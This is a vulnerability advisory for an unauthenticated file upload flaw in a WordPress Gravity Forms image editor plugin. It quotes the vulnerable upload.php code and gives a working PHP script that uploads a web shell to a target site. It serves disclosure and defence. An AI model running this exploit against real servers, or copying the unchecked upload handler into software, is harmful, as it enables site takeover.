WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload

Title: Remote file upload vulnerability in aviary-image-editor-add-on-for-gravity-forms v3.0beta Wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-07
Download Site: https://wordpress.org/plugins/aviary-image-editor-add-on-for-gravity-forms
Vendor: Waters Edge Web Design and NetherWorks LLC
Vendor Notified: 2015-06-08
Advisory: http://www.vapid.dhs.org/advisory.php?v=125
Vendor Contact: [email protected]
Description: A plugin that integrates the awesome Adobe Creative SDK (formerly Aviary) Photo / Image Editor with the Gravity Forms Plugin.
Vulnerability:
There is a remote file upload vulnerability in aviary-image-editor-add-on-for-gravity-forms/includes/upload.php as an unauthenticated user can upload any file to the system.  Including a .php file.  The upload.php doesn't check that the user is authenticated and a simple post will allow arbitrary code to be uploaded to the server.

In the file aviary-image-editor-add-on-for-gravity-forms/includes/upload.php the code doesn’t check for an authenticated Wordpress user:

1 <?php
2 
3 $filename = $_SERVER["DOCUMENT_ROOT"]."/wp-load.php";
4 if (file_exists($filename)) {
5     include_once($filename);
6 } else {
7     include_once("../../../../wp-load.php");
8 }
9 echo "Here";
10 $image_file = $_FILES['gf_aviary_file'];
11 if($image_file['name']!=''){
12      $max_file_size =  4*1024*1024;
13      $file_size = intval($image_file['size']);
14      if( $file_size > $max_file_size ){
15          $msg = "File Size is too big.";
16          $error_flag = true;
17      }
18      $extension = strtolower(end(explode('.', $image_file['name'])));
19      $aa_options = get_option('gf_aa_options');
20      $supported_files = $aa_options['supported_file_format'];
21      $supported_files = strtolower($supported_files);
22      if(!$error_flag && $supported_files != '' ){
23        $supported_files = explode (',', $supported_files);
24        if(!in_array($extension, $supported_files)){
25           $msg = "No Supported file.";
26           $error_flag = true;
27        }
28      }
29      if(!$error_flag){
30         $wp_upload_dir = wp_upload_dir();
31         if(!is_dir($wp_upload_dir['basedir'].'/gform_aviary')){
32              mkdir($wp_upload_dir['basedir'].'/gform_aviary');
33         }
34         $upload_dir = $wp_upload_dir['basedir'].'/gform_aviary/';
35         $upload_url = $wp_upload_dir['baseurl'].'/gform_aviary/';
36         $file_name = $upload_dir.$_POST['gf_aviary_field_id'].'_'.$image_file['name'    ];
37         if(move_uploaded_file($image_file['tmp_name'], $file_name)){
38             $file_url = $upload_url.$_POST['gf_aviary_field_id'].'_'.$image_file['na    me'];
39         }
40     }
41     $return_obj = array('status' => 'success', 'message' => $file_url);
42     echo json_encode($return_obj);
43  }
44 ?>

CVEID: 2015-4455
OSVDB:
Exploit Code:
<?php
/*Remote shell upload exploit for aviary-image-editor-add-on-for-gravity-forms v3.0beta */
/*Larry W. Cashdollar @_larry0
6/7/2015
shell will be located http://www.vapidlabs.com/wp-content/uploads/gform_aviary/_shell.php
*/


    $target_url = 'http://server/wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php';
    $file_name_with_full_path = '/var/www/shell.php';

    echo "POST to $target_url $file_name_with_full_path";
    $post = array('name' => 'shell.php','gf_aviary_file'=>'@'.$file_name_with_full_path);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$target_url);
    curl_setopt($ch, CURLOPT_POST,1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
    $result=curl_exec ($ch);
    curl_close ($ch);
    echo "<hr>";
    echo $result;
    echo "<hr>";
?>